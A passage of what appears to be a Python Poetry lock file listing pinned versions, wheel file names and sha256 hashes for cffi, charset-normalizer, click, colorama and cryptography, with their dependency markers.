{file = "cffi-1.17.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a45e3c6913c5b87b3ff120dcdc03f6131fa0065027d0ed7ee6190736a74cd401"},
{file = "cffi-1.17.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:30c5e0cb5ae493c04c8b42916e52ca38079f1b235c2f8ae5f4527b963c401caf"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f75c7ab1f9e4aca5414ed4d8e5c0e303a34f4421f8a0d47a4d019ceff0ab6af4"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1ed2dd2972641495a3ec98445e09766f077aee98a1c896dcb4ad0d303628e41"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:46bf43160c1a35f7ec506d254e5c890f3c03648a4dbac12d624e4490a7046cd1"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a24ed04c8ffd54b0729c07cee15a81d964e6fee0e3d4d342a27b020d22959dc6"},
{file = "cffi-1.17.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:610faea79c43e44c71e1ec53a554553fa22321b65fae24889706c0a84d4ad86d"},
{file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a9b15d491f3ad5d692e11f6b71f7857e7835eb677955c00cc0aefcd0669adaf6"},
{file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:de2ea4b5833625383e464549fec1bc395c1bdeeb5f25c4a3a82b5a8c756ec22f"},
{file = "cffi-1.17.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:fc48c783f9c87e60831201f2cce7f3b2e4846bf4d8728eabe54d60700b318a0b"},
{file = "cffi-1.17.1-cp311-cp311-win32.whl", hash = "sha256:85a950a4ac9c359340d5963966e3e0a94a676bd6245a4b55bc43949eee26a655"},
{file = "cffi-1.17.1-cp311-cp311-win_amd64.whl", hash = "sha256:caaf0640ef5f5517f49bc275eca1406b0ffa6aa184892812030f04c2abf589a0"},
{file = "cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4"},
{file = "cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99"},
{file = "cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93"},
{file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3"},
{file = "cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8"},
{file = "cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65"},
{file = "cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903"},
{file = "cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e"},
{file = "cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"},
{file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"},
{file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"},
{file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"},
{file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"},
{file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"},
{file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"},
{file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"},
{file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"},
{file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"},
{file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"},
{file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"},
{file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"},
{file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"},
{file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"},
{file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"},
{file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"},
{file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"},
{file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"},
]
[package.dependencies]
pycparser = "*"
[[package]]
name = "charset-normalizer"
version = "3.4.3"
description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "charset_normalizer-3.4.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72"},
{file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe"},
{file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601"},
{file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c"},
{file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2"},
{file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0"},
{file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0"},
{file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0"},
{file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a"},
{file = "charset_normalizer-3.4.3-cp310-cp310-win32.whl", hash = "sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f"},
{file = "charset_normalizer-3.4.3-cp310-cp310-win_amd64.whl", hash = "sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669"},
{file = "charset_normalizer-3.4.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b"},
{file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64"},
{file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91"},
{file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f"},
{file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07"},
{file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30"},
{file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14"},
{file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c"},
{file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae"},
{file = "charset_normalizer-3.4.3-cp311-cp311-win32.whl", hash = "sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849"},
{file = "charset_normalizer-3.4.3-cp311-cp311-win_amd64.whl", hash = "sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c"},
{file = "charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1"},
{file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884"},
{file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018"},
{file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392"},
{file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f"},
{file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154"},
{file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491"},
{file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93"},
{file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f"},
{file = "charset_normalizer-3.4.3-cp312-cp312-win32.whl", hash = "sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37"},
{file = "charset_normalizer-3.4.3-cp312-cp312-win_amd64.whl", hash = "sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc"},
{file = "charset_normalizer-3.4.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe"},
{file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8"},
{file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9"},
{file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31"},
{file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f"},
{file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927"},
{file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9"},
{file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5"},
{file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc"},
{file = "charset_normalizer-3.4.3-cp313-cp313-win32.whl", hash = "sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce"},
{file = "charset_normalizer-3.4.3-cp313-cp313-win_amd64.whl", hash = "sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef"},
{file = "charset_normalizer-3.4.3-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15"},
{file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db"},
{file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d"},
{file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096"},
{file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa"},
{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049"},
{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0"},
{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92"},
{file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16"},
{file = "charset_normalizer-3.4.3-cp314-cp314-win32.whl", hash = "sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce"},
{file = "charset_normalizer-3.4.3-cp314-cp314-win_amd64.whl", hash = "sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c"},
{file = "charset_normalizer-3.4.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c"},
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b"},
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4"},
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b"},
{file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9"},
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb"},
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a"},
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942"},
{file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b"},
{file = "charset_normalizer-3.4.3-cp38-cp38-win32.whl", hash = "sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557"},
{file = "charset_normalizer-3.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40"},
{file = "charset_normalizer-3.4.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05"},
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e"},
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99"},
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7"},
{file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7"},
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19"},
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312"},
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc"},
{file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34"},
{file = "charset_normalizer-3.4.3-cp39-cp39-win32.whl", hash = "sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432"},
{file = "charset_normalizer-3.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca"},
{file = "charset_normalizer-3.4.3-py3-none-any.whl", hash = "sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a"},
{file = "charset_normalizer-3.4.3.tar.gz", hash = "sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14"},
]
[[package]]
name = "click"
version = "8.2.1"
description = "Composable command line interface toolkit"
optional = false
python-versions = ">=3.10"
groups = ["main"]
files = [
{file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"},
{file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"},
]
[package.dependencies]
colorama = {version = "*", markers = "platform_system == \"Windows\""}
[[package]]
name = "colorama"
version = "0.4.6"
description = "Cross-platform colored terminal text."
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
groups = ["main"]
markers = "platform_system == \"Windows\""
files = [
{file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
{file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
]
[[package]]
name = "cryptography"
version = "42.0.8"
description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
optional = false
python-versions = ">=3.7"
groups = ["main"]
files = [
{file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"},
{file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"},
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902"},
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801"},
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949"},
{file = "cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9"},
{file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583"},
{file = "cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7"},
